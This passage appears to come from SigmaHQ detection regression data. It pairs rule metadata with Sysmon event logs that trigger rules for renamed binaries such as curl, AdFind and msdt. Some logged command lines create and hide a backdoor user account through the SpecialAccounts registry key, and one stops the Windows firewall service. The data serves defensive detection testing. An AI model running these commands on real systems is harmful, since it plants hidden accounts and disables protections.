"content": "id: 70cc76fe-3470-48ad-b15f-5714ad17a5c6\ndescription: N/A\ndate: 2026-01-19\nauthor: Marco Pedrinazzi (@pedrinazziM) (InTheCyber)\nrule_metadata:\n - id: c43a5405-e8e1-4221-9ac9-dbe3fa14e886\n title: System Language Discovery via Reg.Exe\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_reg_system_language_discovery/c43a5405-e8e1-4221-9ac9-dbe3fa14e886.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_registry_special_accounts_hide_user/9ec9fb1b-e059-4489-9642-f270c207923d.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-31T05:06:45.367278Z\"\n }\n },\n \"EventRecordID\": 657153,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3080,\n \"ThreadID\": 4948\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"srv-01.midgardnet.tech\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-31 05:06:45.364\",\n \"ProcessGuid\": \"14207D89-43E5-6904-4506-000000004002\",\n \"ProcessId\": 5244,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\reg.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Registry Console Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"reg.exe\",\n \"CommandLine\": \"REG ADD \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist\\\" /v AtomicOperator$ /t REG_DWORD /d 0\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\SWACHC~1\\\\AppData\\\\Local\\\\Temp\\\\\",\n \"User\": \"MIDGARDNET\\\\SwachchhandaP\",\n \"LogonGuid\": \"14207D89-34DD-6904-8287-190000000000\",\n \"LogonId\": \"0x198782\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=EB20E119AAF500E2752DC5A588B54C12,SHA256=C6A168C81654F5901E864C8FD61FA54F084CD8B2E0A8AC1B83EACF9EB4484F75,IMPHASH=E23A24F7BA9B35B3E9706724F6749860\",\n \"ParentProcessGuid\": \"14207D89-43E5-6904-4106-000000004002\",\n \"ParentProcessId\": 6656,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"cmd.exe\\\" /c NET USER AtomicOperator$ At0micRedTeam! /ADD /expires:never & REG ADD \\\"HKLM\\\\Software\\\\Microsoft\\\\Windows NT\\\\CurrentVersion\\\\Winlogon\\\\SpecialAccounts\\\\Userlist\\\" /v AtomicOperator$ /t REG_DWORD /d 0\",\n \"ParentUser\": \"MIDGARDNET\\\\SwachchhandaP\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_registry_special_accounts_hide_user/info.yml",
"content": "id: de8dc72e-19eb-465a-83ac-59545ae56426\ndescription: N/A\ndate: 2025-10-31\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 9ec9fb1b-e059-4489-9642-f270c207923d\n title: Hiding User Account Via SpecialAccounts Registry Key - CommandLine\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_registry_special_accounts_hide_user/9ec9fb1b-e059-4489-9642-f270c207923d.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_adfind/df55196f-f105-44d3-a675-e9dfb6cc2f2b.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:26:58.441823Z\"\n }\n },\n \"EventRecordID\": 256793,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:26:58.421\",\n \"ProcessGuid\": \"5AB40FD1-3E12-68F9-1A31-000000003B02\",\n \"ProcessId\": 6856,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-AdFind.exe\",\n \"FileVersion\": \"1.52.0.5064\",\n \"Description\": \"-\",\n \"Product\": \"AdFind\",\n \"Company\": \"www.joeware.net\",\n \"OriginalFileName\": \"AdFind.exe\",\n \"CommandLine\": \"renamed-AdFind.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=12011C44955FD6631113F68A99447515,SHA256=C92C158D7C37FEA795114FA6491FE5F145AD2F8C08776B18AE79DB811E8E36A3,IMPHASH=12CE1C0F3F5837ECC18A3782408FA975\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_adfind/info.yml",
"content": "id: 09eb713e-f4b1-42ce-9c8e-d446ba0d548a\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: df55196f-f105-44d3-a675-e9dfb6cc2f2b\n title: Renamed AdFind Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_adfind/df55196f-f105-44d3-a675-e9dfb6cc2f2b.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary/36480ae1-a1cb-4eaa-a0d6-29801d7e9142.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:29:25.275782Z\"\n }\n },\n \"EventRecordID\": 256823,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:29:25.272\",\n \"ProcessGuid\": \"5AB40FD1-3EA5-68F9-2F31-000000003B02\",\n \"ProcessId\": 4564,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-netsh.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Network Command Shell\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"netsh.exe\",\n \"CommandLine\": \"renamed-netsh.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=28B5A3688253FD5822EE90BCAE2633F7,SHA256=7482890B1875BDCEC826F3385EAC7DCDC38F17358A13B1B8C790BDB895FF5054,IMPHASH=06F091DBEC9C3F0DD14808FFE59B95DE\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary/info.yml",
"content": "id: e9861f82-77a9-4f8b-a418-0fbb6019588b\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 36480ae1-a1cb-4eaa-a0d6-29801d7e9142\n title: Potential Defense Evasion Via Binary Rename\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary/36480ae1-a1cb-4eaa-a0d6-29801d7e9142.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant/0ba1da6d-b6ce-4366-828c-18826c9de23e.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:28:22.116872Z\"\n }\n },\n \"EventRecordID\": 256810,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:28:22.113\",\n \"ProcessGuid\": \"5AB40FD1-3E66-68F9-2831-000000003B02\",\n \"ProcessId\": 4832,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-wscript.exe\",\n \"FileVersion\": \"5.812.10240.16384\",\n \"Description\": \"Microsoft ® Windows Based Script Host\",\n \"Product\": \"Microsoft ® Windows Script Host\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"wscript.exe\",\n \"CommandLine\": \"renamed-wscript.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=BA3DDE938146C1C1A19D6762E0BF5311,SHA256=61891E70C5629397DD107066F520D1663C5136AB4366E0CB015EC1D047DFFC61,IMPHASH=EB3973026D64331DD575543A07621F9D\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant/info.yml",
"content": "id: 8fc87eda-5a7b-4080-93c6-5bf6145330c8\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 0ba1da6d-b6ce-4366-828c-18826c9de23e\n title: Potential Defense Evasion Via Rename Of Highly Relevant Binaries\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_binary_highly_relevant/0ba1da6d-b6ce-4366-828c-18826c9de23e.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_curl/7530cd3d-7671-43e3-b209-976966f6ea48.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:30:29.328671Z\"\n }\n },\n \"EventRecordID\": 256840,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:30:29.319\",\n \"ProcessGuid\": \"5AB40FD1-3EE5-68F9-3A31-000000003B02\",\n \"ProcessId\": 480,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-curl.exe\",\n \"FileVersion\": \"8.13.0\",\n \"Description\": \"The curl executable\",\n \"Product\": \"The curl executable\",\n \"Company\": \"curl, https://curl.se/\",\n \"OriginalFileName\": \"curl.exe\",\n \"CommandLine\": \"renamed-curl.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=90939B67542D77A32042B7C1945623B1,SHA256=3345339164CF384EFF527B6C3160FEA8D849A4231EC6CA80513E3A739E505168,IMPHASH=6C25E5A258C8C037CD5FBE44B10E696F\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_curl/info.yml",
"content": "id: a8016fa4-d7e0-40de-85b0-ae04f270eec5\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 7530cd3d-7671-43e3-b209-976966f6ea48\n title: Renamed CURL.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_curl/7530cd3d-7671-43e3-b209-976966f6ea48.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_ftp/277a4393-446c-449a-b0ed-7fdc7795244c.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:25:23.218638Z\"\n }\n },\n \"EventRecordID\": 256757,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:25:23.215\",\n \"ProcessGuid\": \"5AB40FD1-3DB3-68F9-0A31-000000003B02\",\n \"ProcessId\": 5312,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-ftp.exe\",\n \"FileVersion\": \"10.0.20348.3451 (WinBuild.160101.0800)\",\n \"Description\": \"File Transfer Program\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"ftp.exe\",\n \"CommandLine\": \"renamed-ftp.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=02EF5C4F3C041DE47811498C331B6F46,SHA256=B551CF05B43639364EFC71995E19DB620F5EFCE311110D0CF932354C3FE6ED7A,IMPHASH=7B22256667E90FDEA4DBB956FD02584C\",\n \"ParentProcessGuid\": \"5AB40FD1-8DEB-68F7-7E01-000000003B02\",\n \"ParentProcessId\": 476,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_ftp/info.yml",
"content": "id: 280664b2-b588-40f6-8b65-280523049740\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: 277a4393-446c-449a-b0ed-7fdc7795244c\n title: Renamed FTP.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_ftp/277a4393-446c-449a-b0ed-7fdc7795244c.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_msdt/bd1c6866-65fc-44b2-be51-5588fcff82b9.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:32:00.478719Z\"\n }\n },\n \"EventRecordID\": 256855,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:32:00.468\",\n \"ProcessGuid\": \"5AB40FD1-3F40-68F9-4431-000000003B02\",\n \"ProcessId\": 2808,\n \"Image\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\renamed-msdt.exe\",\n \"FileVersion\": \"10.0.20348.2849 (WinBuild.160101.0800)\",\n \"Description\": \"Diagnostics Troubleshooting Wizard\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"msdt.exe\",\n \"CommandLine\": \"renamed-msdt.exe\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=7C70F1DDC865BCFF963AD1CCFAA5E145,SHA256=377DD147174704790E2E981893E49FB72CE18133CF7E9E2EAA794ADF2F80D2DA,IMPHASH=9F0D1C67FCB6D4D5059556FF5E9A642B\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_renamed_msdt/info.yml",
"content": "id: 0e26deb8-bbad-45fb-bb52-b5a2204ba626\ndescription: N/A\ndate: 2025-10-24\nauthor: SigmaHQ Team\nrule_metadata:\n - id: bd1c6866-65fc-44b2-be51-5588fcff82b9\n title: Renamed Msdt.EXE Execution\nregression_tests_info:\n - name: Positive Detection Test\n type: evtx\n provider: Microsoft-Windows-Sysmon\n match_count: 1\n path: regression_data/rules/windows/process_creation/proc_creation_win_renamed_msdt/bd1c6866-65fc-44b2-be51-5588fcff82b9.evtx\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_sc_stop_service/81bcb81b-5b1f-474b-b373-52c871aaa7b1.json",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:33:27.276702Z\"\n }\n },\n \"EventRecordID\": 256875,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:33:27.274\",\n \"ProcessGuid\": \"5AB40FD1-3F97-68F9-5631-000000003B02\",\n \"ProcessId\": 3424,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\sc.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Service Control Manager Configuration Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"sc.exe\",\n \"CommandLine\": \"sc stop mpssvc\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=6FB10CD439B40D92935F8F6A0C99670A,SHA256=2BF663EA493CDC21AD33AEBD8DA40CC5D2AFA55E24F9E1BBF3D73E99DCADF693,IMPHASH=803254E010814E69947095A2725B2AFD\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_sc_stop_service/81bcb81b-5b1f-474b-b373-52c871aaa7b1.jsoncls",
"content": "{\n \"Event\": {\n \"#attributes\": {\n \"xmlns\": \"http://schemas.microsoft.com/win/2004/08/events/event\"\n },\n \"System\": {\n \"Provider\": {\n \"#attributes\": {\n \"Name\": \"Microsoft-Windows-Sysmon\",\n \"Guid\": \"5770385F-C22A-43E0-BF4C-06F5698FFBD9\"\n }\n },\n \"EventID\": 1,\n \"Version\": 5,\n \"Level\": 4,\n \"Task\": 1,\n \"Opcode\": 0,\n \"Keywords\": \"0x8000000000000000\",\n \"TimeCreated\": {\n \"#attributes\": {\n \"SystemTime\": \"2025-10-22T20:33:27.276702Z\"\n }\n },\n \"EventRecordID\": 256875,\n \"Correlation\": null,\n \"Execution\": {\n \"#attributes\": {\n \"ProcessID\": 3168,\n \"ThreadID\": 4580\n }\n },\n \"Channel\": \"Microsoft-Windows-Sysmon/Operational\",\n \"Computer\": \"ar-win-1\",\n \"Security\": {\n \"#attributes\": {\n \"UserID\": \"S-1-5-18\"\n }\n }\n },\n \"EventData\": {\n \"RuleName\": \"-\",\n \"UtcTime\": \"2025-10-22 20:33:27.274\",\n \"ProcessGuid\": \"5AB40FD1-3F97-68F9-5631-000000003B02\",\n \"ProcessId\": 3424,\n \"Image\": \"C:\\\\Windows\\\\System32\\\\sc.exe\",\n \"FileVersion\": \"10.0.20348.1 (WinBuild.160101.0800)\",\n \"Description\": \"Service Control Manager Configuration Tool\",\n \"Product\": \"Microsoft® Windows® Operating System\",\n \"Company\": \"Microsoft Corporation\",\n \"OriginalFileName\": \"sc.exe\",\n \"CommandLine\": \"sc stop mpssvc\",\n \"CurrentDirectory\": \"C:\\\\Users\\\\Administrator\\\\Downloads\\\\testdata\\\\\",\n \"User\": \"AR-WIN-1\\\\Administrator\",\n \"LogonGuid\": \"5AB40FD1-8D74-68F7-E44B-100000000000\",\n \"LogonId\": \"0x104be4\",\n \"TerminalSessionId\": 2,\n \"IntegrityLevel\": \"High\",\n \"Hashes\": \"MD5=6FB10CD439B40D92935F8F6A0C99670A,SHA256=2BF663EA493CDC21AD33AEBD8DA40CC5D2AFA55E24F9E1BBF3D73E99DCADF693,IMPHASH=803254E010814E69947095A2725B2AFD\",\n \"ParentProcessGuid\": \"5AB40FD1-3E0C-68F9-1731-000000003B02\",\n \"ParentProcessId\": 8252,\n \"ParentImage\": \"C:\\\\Windows\\\\System32\\\\cmd.exe\",\n \"ParentCommandLine\": \"\\\"C:\\\\Windows\\\\system32\\\\cmd.exe\\\"\",\n \"ParentUser\": \"AR-WIN-1\\\\Administrator\"\n }\n }\n}\n"
},
{
"path": "regression_data/rules/windows/process_creation/proc_creation_win_sc_stop_service/info.yml",
